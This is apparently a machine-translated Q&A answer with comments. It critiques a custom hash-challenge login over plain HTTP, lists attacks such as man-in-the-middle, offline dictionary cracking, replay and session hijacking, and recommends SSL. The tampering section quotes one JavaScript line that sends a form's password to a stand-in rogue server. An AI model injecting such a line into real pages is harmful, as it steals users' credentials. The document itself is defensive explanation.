「十分に安全」であるかどうかは、もちろん、あなただけがシステム所有者として答えることができます。あなたの予想される敵が未熟で無防備であり、認証失敗の影響が低い場合、それはです。重要な価値のあるものを保護する場合は、おそらく十分に安全なソリューションではありません。
ここに、このアプローチが脆弱になる可能性があるいくつかの攻撃方法があります。
man-in-the-middle攻撃:
Client Eavesdropper Server
Requests token-------X----------------------->
<--------------------X-------------Sends token
Sends PW hash--------X
Relays client hash ------>
X<-----------Authenticates
盗聴者は、クライアントの認証応答をリッスンし、サーバーに中継します。サーバーは正当性を検証し、盗聴者を認証します。
オフラインパスワードハッシュ攻撃
トークンと(JavaScriptから)ロジックを持つことになり、クライアントとサーバー間のメッセージを読むことができる盗聴者は、ハッシュを生成するために使用されます。したがって、攻撃者はH(token + H(password))
,token
およびH(x)
を知ります。ここで、H
は暗号ハッシュアルゴリズム(SHA1)です。
攻撃者は、クライアントの応答に対して辞書攻撃を実行して、パスワードを推測することができます。攻撃者は、辞書攻撃などの方法を使用してオフラインでパスワードを解読できます。攻撃者はサーバに対して認証を行う必要はなく、オフラインでパスワードをクラックすることができるため、中程度の弱いパスワードに迅速にクラックさせることができます。
輸送中のサーバ・メッセージの変更
クライアントは、サーバーのメッセージの整合性の保証を持っていない、とのメッセージが潜在的に中に変更することができます。例えば、悪意のある仲介者は、DOMを介してパスワードを傍受し、不正なサーバーに送信するJavaScriptの行をHTMLページに挿入できます。 (不正仲介は、例えば、方法を提出フォームにnew Image().src='http://www.rogueserver.xy/a.gif?password=' + document.forms[0].password.value
を挿入するかもしれない。)
リプレイ攻撃
サーバートークンが十分な頻度で繰り返した場合、盗聴者は、成功したトークン/応答ペアを捕捉することができます。その後、攻撃者は既知のトークンがリサイクルされるのを待って、多数のトークン要求を行うことができます。その後、攻撃者は既知のトークンレスポンスをサーバーに再生します。サーバーは、攻撃者の応答と予想される応答を比較し、攻撃者を認証します。
認証後の攻撃
セッションが認証された後、クライアントとサーバーのメッセージはクリアテキストで送信され続けています。攻撃者は、セッションのハイジャック攻撃を行い、クライアントのセッションクッキーを使用して、認証されたクライアントとして攻撃を行う可能性があります。また、攻撃者は、サーバーとクライアント間の機密データを傍受したり、転送中のデータを変更したりして、クライアント/サーバー通信の機密性、整合性、否認防止を損なう可能性があります。たとえば、クライアントはBenignAction
という応答を送信し、攻撃者はこれを転送中にGetSecretData
に変更します。次に、攻撃者は、表面的に秘密のデータを含む応答を読み取ります。
これは、提案された方法が、クリアテキストでパスワードを送信するよりもはるかに安全でない可能性があるということです。セキュリティが懸念される場合は、信頼できるCAの証明書でSSLを使用すると(実用的な意味で)、これらのすべての攻撃が効果的に防止されます。
出典
2012-01-26 03:23:19
drf
予想される脅威は何ですか?データが有線になっている間にパケットスニッフィングだけが心配な場合は、SSLを使用して何か面白いものを無視してください。ユーザー/パスをWebリクエストと同じように無視し、SSLはスニッファを回避します。 –
なぜSSLを使用しないのですか? –
HTTPS == HTTP + SSL あなたのアプリケーションはポート80から443に変更され(デフォルトのconfの場合)、より多くのCPU時間が使用されます。独自のハンドシェイクロジックを実装することもできます。 そして、トークン生成にランダムなソルトを追加すると、理論的には正しく実行されます。 – japrescott